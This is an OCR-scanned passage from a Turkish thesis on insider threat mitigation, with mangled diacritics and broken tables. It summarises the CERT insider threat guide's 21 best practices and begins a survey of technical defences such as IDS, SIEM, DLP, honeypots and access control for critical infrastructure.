parmak izi bilgilerini kullanarak kritik sunucuya ulasamayacaktir.

3.6. i¢ Tehdide Kars1 Alinabilecek Onlemler

Kurum i¢inden gelen tehditlere karsi alinabilecek onlemler sosyal, teknik ve sosyo-teknik
onlemlerin biitiinlinden olusmaktadir. Kaynagi dogrudan insan olan ve kuruma kiiskiin
kisiler ile intikam almak isteyen eski calisanlar gibi gruplar1 barindiran i¢ tehdidi sadece
teknik onlemlerle engellemek miimkiin degildir. Kurumsal idare basta olmak iizere insan
kaynaklari, hukuk miisavirligi ve fiziksel giivenlik ile ilgili birimlerin ortak ¢aba gdstermesi
gerekmektedir. Bununla beraber literatiirde yapilan ¢aligmalar, rafta hazir Girtinler ve ticari

hazir yazilimlar da i¢ tehdide kars1 birgok 6zel arag igcermektedir.

Calismanin bu boliimiinde i¢ tehdidin azaltilmasina yonelik hem tiim 6nlemleri igeren bir
rehber sunulmus hem de giincel i¢ tehdit algilama, onleme ve miidahale araglarindan

bahsedilmistir.

3.6.1. I¢ tehdidi azaltma rehberi

Uzun yillardir ABD Gizli Servisi ile ortak bir sekilde i¢ tehditle alakali caligmalar yiiriiten
Carnegie Mellon Universitesi Yazilim Miihendisligi Enstitiisii 1500 i¢ tehdit vakasimi
inceleyerek bilindigi kadariyla bu alandaki en kapsamli ve uzun soluklu calismay1

yiirlitmektedir. Bu yiizden ulastig1 sonuglar ve onerdigi yontemler acisindan literatiirde



66

onemli bir yere sahiptir. Bu kapsamda 2018’in sonunda 6. baskisini yayinlamis olduklar

rehber [13] i¢ tehdidin azaltilmasina yonelik kapsayici bir yol gosterici konumundadir.

Rehber, kurumun asagida belirtilen birimleri i¢in i¢ tehdidin azaltilmasi maksadiyla
sunulmus bilgiler ve Oneriler icermektedir:

e Insan Kaynaklari

e Hukuk Miisavirligi

e Fiziksel Giivenlik

e Veri Sahipleri

e Bilgi Teknolojileri

e Yazilim Miihendisligi

® YoOnetim

e Bilgi Giivenligi

Rehberdeki oneriler karar vericilerin beraber calisarak i¢ tehditleri tespit etmesi, engellemesi
ve miidahale etmesi amaciyla tasarlanmistir. Bu rehberde [13] yer alan 21 en iyi uygulama,
aciklamalar1 ile sunulmus ve her uygulamayla ilgili kurumsal birimler Cizelge 3.1°de

gosterilmistir.

Kritik varliklar tanimlanmali ve korunmalidir

Bir i¢ tehdit programinin en temel islevi kurumdaki varliklarin tanimlanmasidir. Kritik
varliklar, yok edildiginde, degistirildiginde ya da bozuldugunda kurumun ana gorev ve is
fonksiyonlar1 lizerinde ciddi olumsuz etkiler yaratacak varliklardir. Kritik varliklar, fiziksel
ya da mantiksal olabilirler ve tesisler, sistemler, ekipman, personel ve teknolojiyi
icerebilirler. Kritik varliklarin sik sik g6z ardi edilen bir tarafi ise fikri miilkiyettir. Fikri
milkiyet; kuruma ait yazilim, misteri bilgisi, semalar ve i¢ iiretim siire¢lerini

igerebilmektedir.

Kritik varliklar tanimlandiktan ve 6nceliklendirildikten sonra, kurulus kritik sistemler veya
verilerle en sik etkilesimde bulunan veya diger personel i¢in tehdit olusturabilecek yliksek
riskli kullanicilart tanimlamalidir. Bu, kurumun potansiyel icerideki tehditleri basariyla

tespit etmek icin en iyi yaklasimlari belirlemesine yardimci olacaktir.
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S.No.

Uygulama

insan
Kaynaklan

Hukuk
Miisavirligi

Fiziksel
Giivenlik

Veri
Sahibi

BT

Yazilim
Miihendisi

Kritik varliklar
tanimlanmali ve
korunmalidir.

\/

\/

\/

\/

\/

Resmi bir i¢ tehdit
programi
geligtirilmelidir.

\/

\/

\/

\/

\/

Giivenlik politikas1 ve
dokiimanlari acikca
belirtilmeli ve tutarh
bigimde
uygulanmalidir.

Stpheli  ve  yikict
davraniglar ise alimdan
itibaren izlenmeli ve
gerektiginde yaptirim
uygulanmalidir.

Calisma  ortamindaki
olumsuz durumlar
ongoriilmeli ve
yonetilmelidir.

Risk
degerlendirmesinde
igeriden ve is
ortaklarindan
gelebilecek  tehditler
g0z oniinde
bulundurulmalidir.

Sosyal medya
paylasimlart
konusunda ihtiyath
olunmalidir.

Yapisal yonetim ve i
kaynakli  stresin  ve
hatalarin azaltilmasina
yonelik gorevler.

Kotii niyetli ve kasitsiz
ic tehdit farkindalig
diizenli olarak icra
edilen giivenlik
egitimine dahil
edilmeli ve tim
calisanlarin  katilimi
saglanmalidir.

10

Parola  ve hesap
yonetimi politikalar1 ve
yontemleri siki bicimde
uygulanmalidir.

11

Ayricalikli hesaplar
iizerinde siki erisim
kontrolii ve izleme
politikalar1
uygulanmalidir.
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Cizelge 3.1. i¢ tehdidin azaltilmasina yonelik en iyi uygulamalar [13] (devam)

S.No.

Uygulama

insan
Kaynaklan

Hukuk
Miisavirligi

Fiziksel
Giivenlik

Veri
Sahibi

BT

Yazihim
Miihendisi

12

Calisanlart eylemlerini
izlemeye yonelik
¢coziimler hayata
gecirilmeli ve bircok
veri kaynagindan gelen
bilgiler
iliskilendirilmelidir.

13

Mobil cihazlar dahil
tim u¢ noktalardan
gelen uzak baglantilar
izlenmeli ve kontrol
edilmelidir.

14

Hem ag hem de
calisanlar  i¢in  bir
normal davranis
referans degerleri elde
edilmelidir.

15

Gorevlerin ayriligt ve
en az ayricalik ilkeleri
uygulanmalidir.

16

Bulut hizmetleri igin
ozellikle erigim kisitlar:
ve izleme
yeteneklerinin yer
aldig1 giivenlik
sOzlesmeleri
tanimlanmalidir.

17

Sistem degisikligi
kontrolleri
kurumsallagtiriimalidir.

18

Giivenli yedekleme ve
kurtarma stirecleri
yiriitiilmelidir.

19

veri
kars1

Yetkisiz
sizintilarina
"kapilar"
kapatilmalidir.

20

Isten cikarmaya
yonelik kapsayict bir
siire¢ gelistirilmelidir.

21

Is giiciinii  kurumla
birlikte hareket
ettirebilmek icin
olumlu tesvikler
benimsenmelidir.

Resmi bir i¢ tehdit programi gelistirilmelidir

Resmi bir i¢ tehdit programi, i¢ tehdit sorununu ele almak icin belirlenmis bir kaynak

saglamaktadir. Kurumlarin is giicline duyduklar1 giiven, yasa dis1 faaliyetlerini gizlemek igin

genellikle belirli yontemler kullanan kotii niyetli i¢ saldirganlara kars1 kurumlari savunmasiz
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birakabilmektedir. Kurumlar yalnizca 6zellesmis ve orantilt uygulamalar yaparak, kurum
icindekilerin yarattigi kendine has tehdidi etkili bir sekilde tespit edebilmekte,
onleyebilmekte ve bunlara miidahalede bulunabilmektedirler. Kotii niyetli olsun ya da
olmasin i¢ kaynakli olaylar1 azaltmak amaciyla bir siire¢ gelistirmek i¢in en iyi zaman,
olaymn ortaya ¢ikmasindan once degil, olayin meydana gelmesinden oncesidir. Bir olay
meydana geldiginde, onceki olaylarin incelemesinden sonra ortaya ¢ikan sonuglara gore

stire¢ uygun sekilde degistirilebilmektedir.

Gilivenlik politikas1 ve dokiimanlar acikca belirtilmeli ve tutarli bicimde uygulanmalidir

Tiim kurumsal politika ve prosediirlere dair tutarli ve net bir mesaj, ¢alisanlarin yanliglikla
kuruma zarar verme veya bir haksizlik algis1 nedeniyle kurulusa veya ¢alisanlarina saldirma
olasiligin1 azaltmaktadir. Kurumlar, politikalarin adil olmasini1 ve herhangi bir ihlal igin

cezalandirilmanin orantisiz olmamasini saglamalidir.

Siipheli ve vikici davranislar ise alimdan itibaren izlenmeli ve gerektiginde vyaptirim

uveulanmalidir

Kurumlar, kétii niyetli igeriden kaynaklanan faaliyet riskini azaltmak i¢in proaktif olarak
stipheli veya rahatsiz edici c¢alisanlarla ilgilenmelidir. Bir kurumun i¢ tehditleri azaltma
yaklagimi ise alim siirecinde baglamalidir. Potansiyel c¢alisanlar hakkindaki gec¢mis
kontroller, dnceki ceza mahktmiyetlerini ortaya ¢ikarmali, kimlik bilgilerini ve gecmis
istthdami dogrulamali ve Onceki isverenlerinden is yeri sorunlari ile ilgilenme konusundaki
yeterliligi ve yaklasimi konusunda elde edilen bilgileri icermelidir. Kurumlar, bir ge¢cmis
kontrol politikas1 olustururken yasal gereklilikleri (6rnegin, adaya bildirim ve adayin rizas1)

g6z oniinde bulundurmalidir.

Calisma ortamindaki olumsuz durumlar 6ngorilmeli ve yonetilmelidir

Calisan sorunlartyla basa ¢ikabilmek i¢in agikca tanimlanmis ve iletilmis kurumsal
diizenlemeler, politikalarin tutarl bir sekilde uygulanmasini kolaylastirmakta ve olumsuz

igyeri sorunlari ortaya ¢iktiginda riski azaltmaktadir.

Kurumlar, politikalarini1 ve uygulamalarini yeni ¢alisanlara ilk giinlerinde iletmelidir. Bu tiir
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politikalar ve uygulamalar isyeri davranislari, kiyafet kurallari, kullanim politikalari,
calisma saatleri, kariyer gelisimi, uyusmazlik c¢oziimi ve diger igyeri konularini
icermektedir. Bu tiir politikalarin tek basma varhigi yeterli degildir. Yeni calisanlar ve
deneyimli ¢aligsanlar, bu tiir politikalarin ve bunlarin ihlal edilmesinin sonuglarinin farkinda
olmalidirlar. Kurumlar uyumlu bir ¢aligma ortami saglamak i¢in politikalarini stirekli olarak
uygulamak zorundadir. Politikalarin tutarsiz bir sekilde uygulanmasi, igsyerinde diismanliga
yol agmaktadir. Analiz edilen i¢ tehdit vakalarinin ¢ogunda, kurum igindeki tutarsiz
uygulama veya algilanan adaletsizlikler kiiskiinlik ve kirginliklara neden olmustur.
Calisanlar genellikle gozde elemanlarin kurallarin istiinde oldugunu ve 6zel muamele
gordiiklerini hissetmektedirler. Bu durumun yarattigi hosnutsuzlugun, i¢ tehditlerin BT'yi

sabote etmesine veya bilgi calmasina neden oldugu goriilmiistir.

Risk degerlendirmesinde iceriden ve is ortaklarindan gelebilecek tehditler gdz Oniinde

bulundurulmalidir

Kurumlar kritik varliklarini korumak amaciyla, yetkili giivenilir is ortaklar1 da dahil olmak
tizere, iceriden ve disaridan gelen tehditlere karsi kapsamli ve risk bazli bir giivenlik stratejisi
gelistirmelidir. Sadece biiyiik paydaslar degil kurumun tiim calisanlari, sistemin ele
gecirilmesinin, kritik verilerin kaybedilmesinin veya ifsa olmasimin risklerini bilmelidir.

Isyerindeki siddet olaylarmin etkisini hem fiziksel olarak hem de yasal olarak anlamalidir.

Sosval medva paylasimlari konusunda ihtiyatli olunmalidir

Sosyal medya sitelerini kullanan i¢ tehditler kasitli ya da kasitsiz olarak kurumun kritik
varliklarimi tehlikeye atabilirler. Kurumlar ¢alisanlarin, is ortaklarinin ve yiiklenicilerin
sosyal medyay1 nasil kullanmalar1 gerektigi hakkinda egitim, politika ve prosediirler

belirlemelidir.

Sosyal medya siteleri, insanlarin kendileriyle ilgili bilgileri bagkalariyla kolayca
paylagmalarini saglar. Bir kullanicinin sosyal medya profilinden veya herhangi bir popiiler
arama motorunu kullanarak yapilan bir aramadan dogum giinleri ve aile iiyelerinden ticari
kuruluslara ve hobilere kadar her sey hakkinda bilgi edinilebilir. Bu bilgi, sosyal medyay1

kullanan galisanlari, sosyal mithendislik i¢in muhtemel hedef durumuna getirmektedir.
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Facebook ve LinkedIn gibi sosyal medya siteleri, belirli bir sirkette kimin caligtigin
belirlemek icin kullanilabilmektedir. Kotii niyetli kullanicilar bu bilgileri bir kurulusa kars1

hedefli e-posta saldiris1 gergeklestirmek i¢in kullanabilmektedir.

Bu siteler ayrica, bir kurulus i¢inde kimin i¢ kaynakli saldirtya karsi daha hassas veya i¢
kaynakli bir saldirtya katilmaya daha istekli olabilecegini belirlemek icin de
kullanilabilmektedir. Ornegin, bir sosyal paylasim sitesindeki bir ¢alisanin, isi veya sirketi
hakkinda olumsuz yorumlar yayilamasi, saldirganlar tarafindan ¢alisanin hosnutsuz oldugu

dolayistyla kotii niyetli bir i¢ tehdit olmaya aday oldugu seklinde yorumlanabilmektedir.

Yapisal yonetim ve i¢c kaynakli stresin ve hatalarin azaltilmasina yonelik gorevler

Kurumlar, is giiciiniin psikolojisini ve liderlerinin onlara getirdigi talepleri anlamalidir.
Bunlar anlasildiginda, kurumun olumlu sonuglara elverisli bir ¢alisma ortami yaratmasi

gerekmektedir.

Insan davranisi, dzellikle yiiksek stresli ortamlarda birden fazla gorevi tamamlamak icin
acele edenler tarafindan yapilacak hatalar i¢in elveriglidir. Hatalarin 6tesinde, isyerinde
yiiksek diizeyde stres olmasi kotii niyetli faaliyet i¢in daha fazla potansiyel yaratmaktadir.
Calisanlar isi bitirmek igin acele ettiginde daha fazla hata yapmakta, endiseleri géz 6niinde
bulundurulmamig gibi hisstmekte ve potansiyel olarak yonetim ve organizasyonlarina
yonelik olumsuz tutumlar gelistirmektedirler. Kotii niyetli ve kasitsiz i¢ tehdit olasiligin
azaltmak i¢in kurumlar, calisanlarin stres diizeyini azaltabilecek araglari g6z Oniinde

bulundurmalidir.

Kotii nivetli ve kasitsiz i¢ tehdit farkindaligi diizenli olarak icra edilen giivenlik egitimine

dahil edilmeli ve tim calisanlarin katilimi saglanmalidir

Kurulustan genis bir anlayis ve katilim olmadan uygulanan teknik veya yonetimsel
kontroller uzun 6miirlii olmamaktadir. K&tii niyetli ve kasitsiz i¢ tehdit farkindaligini igeren
periyodik glivenlik egitimi, organizasyonda istikrarli bir giivenlik  kiiltliriinii

desteklemektedir.
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Parola ve hesap yOnetimi politikalar1 ve yontemleri siki bicimde uygulanmalidir

Kati sifre ve hesap yonetimi politikalar1 ve uygulamalari, kotii niyetli i¢ tehditlerin otomatik
ve otomatik olmayan kontrol mekanizmalarini atlatmak i¢in kurumun kullanici hesaplarini

ele gecirmesini engelleyebilmektedir.

Bir kurulus igeriden gelen tehditlere kars1 ne kadar uyanik olursa olsun, kurulusun kullanici
hesaplan ele gegirildiginde, i¢ tehditlere saldir1 6nleme mekanizmalarini asma firsati
dogmaktadir. Kullanici hesab1 ve sifre yonetimi politikalar ve uygulamalari, igeriden birinin
kurumun sistemlerini yasa dig1 amaglarla kullanilabilme yetenegine engel olmak i¢in kritik
oneme sahiptir. Uygun bilgisayar hesab1 yonetimi ile birlikte iyi ayarlanmis erigim kontrolii,
kurulusun tiim kritik elektronik varliklarina erisimin bireysel calisanlara atfedilmesini

saglamaktadir.

Avricalikli hesaplar tizerinde siki erisim kontrolii ve izleme politikalar: uygulanmalidir

Sistem yoneticileri ve teknik veya ayricalikli kullanicilar, kotii niyetli faaliyetlerde bulunma

ve gizlenme konusunda teknik yetenek, erisim ve gozetim ile ilgili yeteneklere sahiptir.
CERT Ulusal I¢ Tehdit Merkezi’nin arastirmasina gore, sabotaj yapan i¢ saldirganlarin
biiyiik bir kismi ve gizli veya 6zel bilgi ¢alanlarin yarisindan fazlasinin magdur kurumlarda

teknik gorevlerde bulundugu tespit edilmistir.

Calisanlarin eylemlerini izlemeye vOnelik cozimler hayata gecirilmeli ve bircok veri

kaynagindan gelen bilgiler iliskilendirilmelidir

Etkili i¢ tehdit programlari, kurumdaki bir¢ok farkli kaynaktan bilgi toplamakta ve analiz
etmektedir. Fakat, tiim ag etkinliklerini giinliige kaydetmek, bir kurumu koti niyetli i¢
kaynakli faaliyetlerden korumak igin yeterli degildir. Igeriden gelen tehditleri analiz etmek
icin kullanilan veri kaynaklarinin sayis1 arttik¢a, bir kurumun i¢ tehditler hakkinda daha
fazla ilgili uyari tiretme ve bilin¢li kararlar alma yetenegi de artmaktadir. Toplanmasi, bir
araya getirilmesi, iliskilendirilmesi ve analiz edilmesi gereken veri biiylidiikce, farkli
kaynaklardan gelen verilerin potansiyel i¢ tehdit faaliyetlerin bir gostergesi olan alarmlara

dontstiirilmesini saglayan araclara olan ihtiya¢ artmaktadir. Calisanlarin eylemlerini
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izleyen ¢oziimler, risk bazli bir yaklasim kullanilarak uygulanmali ve 6nce kurumun kritik

varliklaria odaklanmalidir.

Mobil cihazlar dahil tim uc¢ noktalardan gelen uzak baglantilar izlenmeli ve kontrol

edilmelidir

Uzaktan erisim, i¢ saldirganlarin daha az risk alarak saldirmasi i¢in cazip bir firsat sunar.
Kuruluslar, calisanlarin temelde bir veri baglantis1 olan herhangi bir yerden ¢alismasina
olanak tanityan mobil bir is giiciine dogru ilerlemektedir. Bu nedenle daha fazla kullanict
sirket bilgi sistemlerine uzaktan erigsmek icin akilli telefonlar ve tablet bilgisayarlar gibi ek
teknolojileri kullanmaktadirlar. Kurumlar, ¢alisanlar1 tarafindan kullanilan uzaktan erisim
teknolojilerinin ve bu teknolojilerin kurumsal sistemler ile verileri hangi potansiyel

tehditlere maruz biraktiginin farkinda olmalidir.

I¢ saldirganlar siklikla kurumun sagladigi mesru erisimi kullanarak, ¢alistiklari sirada veya
isten ¢ikarildiktan sonra uzaktan saldir1 gerceklestirirler. Uzaktan erisim caligsan verimliligini
biiyiik 6l¢iide artirabilirken, kritik verilere, siireclere veya bilgi sistemlerine uzaktan erigim
yetkisi dikkatle verilmelidir. I¢ saldirganlar kétii niyetli faaliyetlerin evden yapilmasinin
daha kolay oldugunu kabul etmektedirler ¢iinkii is arkadaslarinin kotii niyetli eylemlerini

gozlemlemesi endisesi ortadan kalkmaktadir.

Hem ag hem de calisanlar icin bir normal davranis referans degerleri elde edilmelidir

Bir kurulus kritik varliklariyla ilgili bilgi bakimindan zengin veri akiglarin1 tanimlayip bir

araya getirdikten sonra, veriler lizerinde analiz yapmaya baglayabilmektedir.

Her kurulus, bant genisligi kullanimi, kullanim diizenleri ve protokoller gibi 6zellikler
acisindan benzersiz bir ag topolojisine sahiptir ki bu oOzellikler giivenlik olaylar1 ve
anormallikleri izlerken kullanilabilmektedir. Ayni sekilde, kuruluslardaki tiim ¢alisanlarin
tipik calisma saatleri, kaynak kullanim kaliplar1 ve kaynak erisim kaliplar1 da dahil olmak
iizere kendi benzersiz 6zellikleri vardir. Normal ag ve calisan davraniglarindan sapmalar,
iceriden gelen tehditler de dahil olmak {izere olasi giivenlik olaylarini isaret edebilmektedir.
Normal davranistan sapmalari tespit edebilmek i¢in kuruluslarin 6nce normal ag ve calisan

davranisinin karakteristik 6zelliklerini belirlemesi gerekmektedir.
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Gorevlerin ayrilig1 ve en az ayricalik ilkeleri uygulanmalidir

Gorevlerin ayriligi, bir ¢alisanin baskalar1 ile isbirligi yapmadan bilgi hirsizligi,
dolandiricilik veya sabotaj gergeklestirme olasiligini sinirlandirmak icin islevleri bir¢ok kisi
arasinda bolmeyi gerektirir. Bir¢ok kurulus, “iki kisi kurali”n1 uygular. Bu kural, bir gorevin
basarili bir sekilde yapilabilmesi i¢in iki kisinin bir arada bulunmasi gerekliligidir.
Kurumlar, gorevlerin ayrilmasin1 saglamak i¢in teknik veya teknik olmayan kontrolleri
kullanabilirler. Yiiksek meblagli ¢eklerin imzalanmasi i¢in iki banka yetkilisinin gerekmesi
ornek olarak verilebilir. Calisanlarin bagka bir ¢alisanla is birligi yapmalar1 gerekiyorsa kotii

niyetli eylemlerde bulunma olasiliginin daha diisiik oldugu ortaya konmustur.

Bulut hizmetleri icin Ozellikle erisim kisitlar1 ve izleme yeteneklerinin ver aldigi giivenlik

sozlesmeleri tanimlanmalidir

Kuruluslar, bulut servis saglayicilar1 ile yapilan anlagmalarda veri erisim kontrolii ve

izlenmesi ile ilgili hikkiimler bulundurmalidirlar.

Bulut bilisim, kuruluslarin maliyetleri diisiik tutarken c¢esitli altyapi cihazlarmma ve
hizmetlerine hizli bir sekilde ayak uydurmalarimi saglar. Ulusal Standartlar ve Teknoloji
Enstitiisii (NIST) bulut bilisimi “yapilandirilabilir bilgi islem kaynaklarindan (6r. aglar,
sunucular, depolama, uygulamalar) olusan ortak bir havuza her yerden, kullanisli, istege
bagli erisime olanak saglayan bir modeldir. Erisim saglanan kaynaklar asgari yonetim ¢abasi
gerektirir ve asgari servis saglayici etkilesimi ile hizli bir sekilde yayinlanabilirler” seklinde

tanimlamaktadir [119].

Ponemon Enstitiisti tarafindan yapilan bir arastirmada, “bulut saglayicilarin ¢ogunlugu,
bulutun giivenligini saglamanin kendilerinin degil miisterilerin sorumlulugu olduguna
inanmaktadir. Ayrica, sistemlerinin ve uygulamalarinin, misterilere sunulmadan Once
giivenlik tehditleri agisindan her zaman degerlendirilmedigini” belirtmektedirler [120].
Kuruluslar, bulut hizmet saglayicilarinin kurulusun bilgilerinin giivenligini saglama

konusunda sorumluluk aldigi kabuliine dayanmamalidirlar.
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Sistem degisikligi kontrolleri kurumsallastirilmalidir

Kurumlar, arka kapilar, klavye kayit cihazlari, mantik bombalar1 ve diger kotii niyetli kod
veya programlarin yerlestirilmesini 6nlemek i¢in sistem ve uygulamalardaki degisiklikleri
kontrol etmelidir. Degisim kontrolleri projenin tamaminda uygulanmali ve zaman iginde ve

projelerin tiim agamalarinda devam etmelidir.

Degisim kontrolleri, bilgisayar ve ag sistemlerinde yapilan tiim degisikliklerin dogrulugunu,
bitiinliigiint, yetkilendirmesini ve belgelenmesini saglayan giivenlik denetimleridir.
Magdur kurumlarin sistemlerinde yapilmis yetkisiz degisikliklere dayanan ¢esitli i¢ kaynakli
sizmalar, daha giiclii degisim kontrollerine olan ihtiyaci ortaya koymaktadir. Daha gii¢lii
degisiklik kontrolleri gelistirmek i¢in kuruluslarin temel yazilim ve donanim
yapilandirmalarini tanimlamalart gerekmektedir. Farkli kullanicilarin (6rnegin, muhasebeci,
yonetici, programci ve resepsiyonist) farkli bilgi islem ve bilgi ihtiyaglart géz Oniine
alindiginda, bir kurum birkag temel Kkonfigiirasyona sahip olabilmektedir. Temel
konfigilirasyonlar hash 6zeti, aygit kimlikleri, seri numarali konfigiirasyon dosyalar1 gibi

yollarla karakterize edildikten sonra bu bilgilerde meydana gelen degisiklikler izlenmelidir.

Giivenli yedekleme ve kurtarma surecleri viirutilmelidir

Tiim 6nlemlere ragmen, iceriden basarili bir saldir1 gergeklestirilmesi yine de miimkiindiir.
Kurumlar, giivenli yedekleme ve kurtarma islemlerini uygulayarak ve periyodik olarak test

ederek bu olasiliga hazirlanmali ve kurumsal esnekligi arttirmalidir.

Onleme, igeriden gelebilecek saldirilara kars1 ilk savunma hattidir. Fakat, kararli i¢ tehditler
yine de bir sistemi tehlikeye atmanin yollarmi bulabilmektedir. Kuruluslarin etkin
yedekleme ve kurtarma stiregleri yiiriitmesi gerekmektedir; boylece bir sistem ele gegirilirse

isletme operasyonlari minimum kesintiyle siirdiiriilebilmektedir.

Yetkisiz veri sizintilarina karsi "kapilar" kapatilmalidir

Kuruluslar, bilgi sistemlerinin veri sizmalarina karsi nere(ler)de hassas oldugunu anlamali

ve azaltma stratejileri uygulamalidir.
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Bilgi sistemleri, USB siiriiciilerden diger ¢ikarilabilir ortamlara, yazicilardan e-postalara
kadar bilgi paylasmanin birgok yolunu miimkiin kilmaktadir. Her tip cihaz, veri sizintisini
onleme konusunda farkli zorluklara sahiptir. Hassas bilgilerin i¢ tehditler tarafindan ele
gecirilmesi riskini azaltmak i¢in kurumlar, verinin sistemden nerede ve nasil

cikarilabilecegini tanimlamalidir.

Isten cikarmaya yonelik kapsayici bir siirec gelistirilmelidir

Kurumlarda eski galiganlarindan gelebilecek zarar riskini azaltan bir isten ayrilma prosediirii
bulunmalidir. Isten ayrilma prosediirleri, eski calisanin hesaplarinin  kapatilmasini,
ekipmanlarinin toplanmasini ve diger personele bildirilmesini icermelidir. Diizgiin iseyen
bir hesap ve envanter yonetimi siireci, bir ¢calisan sirketten ayrildiginda ortaya ¢ikabilecek i¢
tehdit riskini azaltmada yardimci olabilmektedir. Calisanlarin isten ¢ikarilmasi, ¢alisanin
tekrar geri donerek is yeri siddet olayina tesebbiis etmesine yol acabilecek hosnutsuzlugunun

azaltilmas1 yoniinde tutarli ve saygili bir sekilde yapilmalidir.

Is eiiciinii kurumla birlikte hareket ettirebilmek icin olumlu tesvikler benimsenmelidir

Kurumsal destegi artiran isgiici yonetim uygulamalar1t olumlu tesvikler olarak
adlandirilmaktadir, ¢linkii bir ¢alisan1 kurulusun ¢ikarlari i¢in hareket etmeye ikna etmeye
¢abalamaktadirlar. Calisanlarin, olumlu tesvikler yoluyla kurulusun ¢ikarlarina dahil olmaya
tesvik edilmesi, i¢ tehdit riskini azaltmaktadir. Isgiicii degerlerini ve tutumlarini kurumun
hedefleri ile uyumlu hale getiren olumlu tesvikler, zorlama islevlere dayanan geleneksel
giivenlik uygulamalarinin gelistirilmesinde bir temel olusturmaktadir. Tesviklerin ve
zorlama islevlerin bir araya gelmesi, iceriden tehdit savunmasinin etkinligini ve verimliligini

arttirmaktadir.

3.6.2. Kritik altyapilarda i¢ tehdidin tespiti ve 6nlenmesine yonelik teknik 6nlemler

Teknik onlemler tek baslarina yeterli olmasa da, i¢ tehdidin tespiti ve 6nlenmesinde 6nemli
bir sac ayagi konumundadir. Calisanlarin ve kullanicilarin sosyal, davranigsal ve psikolojik
analizlerine ve analizlerden ¢ikan sonuglarin yorumlanmasimna dayanan Onlemlerin

incelenmesi bu ¢alismanin kapsami disindadir.
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Bilinen 6zelliklerinden dolayi i¢ tehdide karsi tedbir almak arastirmacilar ve hem 6zel hem
de kamu sektdriindeki yoneticiler icin uzun yillardir 6nemli bir miicadele alamidir. Ig
tehdidin tespiti ve Oonlenmesine yonelik teknik tedbirlerin siniflandirilmasina yonelik de
literatiirde 6nemli ¢calismalar bulunmaktadir [121-122]. Bu ¢alismalar 1s181nda alinabilecek

teknik onlemlere ait siniflandirma Cizelge 3.2’de sunulmustur.

Cizelge 3.2. Kritik altyapilarda i¢ tehdide kars1 alinabilecek teknik 6nlemler

Teknik onlem Aciklama Yapilan
Calismalar
Saldir tespit Anomali ya da imza tabanli tespit [107, 110,
sistemleri (IDS) sistemleridir. Orn. Snort, Suricata vb. 115]
Erisim kontrolii ve Kimlik dogrulama ve yetkilendirmeyi
C el Lo o [109, 114, 123,
kimlik yonetim icerirler. Kullanic1 hesap ve parola yonetim
. : 124, 125]
sistemleri uygulamalarini barindirirlar.
Cesitli kaynaklardan toplanan kayitlarin
Giivenlik olay yonetim | analizi ve yorumlanmasidir. SIEM olarak [112, 126,
sistemleri (SIEM) adlandirilir. Orn. Splunk, OSSEC, OSSIM, 127]
Elasticsearch vb.
Ug noktalarda bulunan ajanlar vasitasiyla ya
da ag temelli konumlandirilmaktadirlar.
Uc¢ nokta koruma ve ..
. . Hassas verinin kurum digina ¢ikmasini
veri kacagi onleme [128, 129]
. . engellemek ve zararli yazilima kars1
sistemleri .
miicadele etmek amaciyla
kullanilmaktadirlar.
Kotii niyetli kullaniciyr kendine ¢ekerek
Balkiipleri ve tuzak tespit edebilmeyi hedeflerler. Endiistriyel [94]
kayitlar kontrol sistemlerinde kullanilan balkiipleri;
Conpot, T-pot, Honeynet vb.
Active Directory, grup politikas1 (GPO),
Diger segmentasyon, ayricalikli hesap yonetimi, [132-134]
makine 6grenmesi, farkindalik ve egitim vb.

Saldir tespit sistemleri (IDS)

Literatiirdeki ¢alismalarin biiyiik boliimii saldir1 tespit sistemlerine dayanmaktadir [107,
110, 115]. Saldir1 tespit sistemleri u¢ nokta tabanli ya da ag tabanli olarak
konumlandirilabilmektedir. Bu sayede agdaki trafigi inceleyerek zararli davranislar tespit
etmektedirler. Tespit yontemi anomali ya da imza tabanli olarak ikiye ayrilmaktadir.
Anomali tabanl saldir1 tespiti ag trafigindeki “normal” davranistan sapmalar1 tespit
etmektedir. Bu maksatla 6nce “normal” diye nitelendirilebilecek baz trafik tespit edilmelidir.

Baz olarak alinan trafikteki bant genisligi, veri kullanimi, kullanilan protokoller ve zaman
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bilgisi 6nemli kriterler arasindadir. Bu verilerde meydana gelebilecek ani sapmalar i¢
tehdidin tespitinde kullanilabilmektedir. Fakat hatali alarmlar iiretilmesine karsin kriterler
cok iyi belirlenmeli ve baz trafik dogru bir sekilde tespit edilmelidir. Imza tabanl yéntemde
ise endiistriyel kontrol sistemlerinde ge¢cmiste meydana gelmis bilinen saldirilarin
(ExplReadRam, ExplExec, ExplWriteRam gibi) imzalart ile mevcut trafik bilgisi
karsilastirilmaktadir.

Giliniimilizde saldir1 tespit sistemleri ile yapilan ¢alismalar veri madenciligi, istatistiksel
modeller (esik degeri belirlenmesi, Markov modeli vb.) ve yapay sinir aglarin1 da beraber

kullanmaktadirlar [107].

Erisim kontroli ve kimlik yonetim sistemleri

Erisim kontrolii iceriden gelen saldirilar1 6nlemenin 6nemli bir yoludur. Ideal erisim
kontrolii ilkesi, ayn1 anda kullaniciya bir dizi kurala gore erisimi kisitlarken, gerekli
gorevleri yerine getirmek i¢in yeterli yetkileri verir. Kurallar, en az imtiyaz, hak yiikseltme
(kullanicinin belirli haklar1 edinebilmesine izin verme) ve gorevlerin ayrilmasi (temelde
eylemleri ayr1 gorevlere bolme ve gorevi tamamlamak i¢in her bir eylemi yapacak birden

cok kisinin bulunmasi) ilkelerine dayanmaktadir.

Erisim kontrolii, baz1 kimlik bilgilerine dayanarak elektronik kaynaklara erigimi saglayan

veya sinirlayan bir mekanizmadir. Bu mekanizmanin iki bileseni vardir:

e Kimlik dogrulama, kim ya da ne oldugunuzu, hangi referanslara sahip oldugunuzu
gosterir. Genellikle “neyi bildiginiz” (6rnegin bir sifre), “neye sahip oldugunuz” (6rnegin,
cep telefonu) ve “ne oldugunuz” (biyometrik veri) 6zelliklerinin bir kombinasyonunu
sunmak olarak tanimlanir. Ayrica bazi yontemler, “nerede oldugunuz” (6rnegin belirli bir
yer) gibi bir dordiincii kriteri de dikkate almaktadir [114].

e Yetkilendirme, saglanan kimlik bilgilerinin istenen tiirde bir erisim saglamak igin yeterli

olup olmadigini sistemin belirlemesidir [14].

Temel formunda erisim kontrolii, sistem kaynaklarina erisimi olan kullanicilar
tanimlamaktadir. Erisim kontrol yontemleri istege bagl erisim kontrolii (DAC), zorunlu
erisim kontrolii (MAC) ve rol tabanli erisim kontrolii olarak (RBAC) iige ayrilabilir. Istege

bagli erisim kontroliinde veriye erisimde bulunacak kisileri verinin sahibi belirlerken,
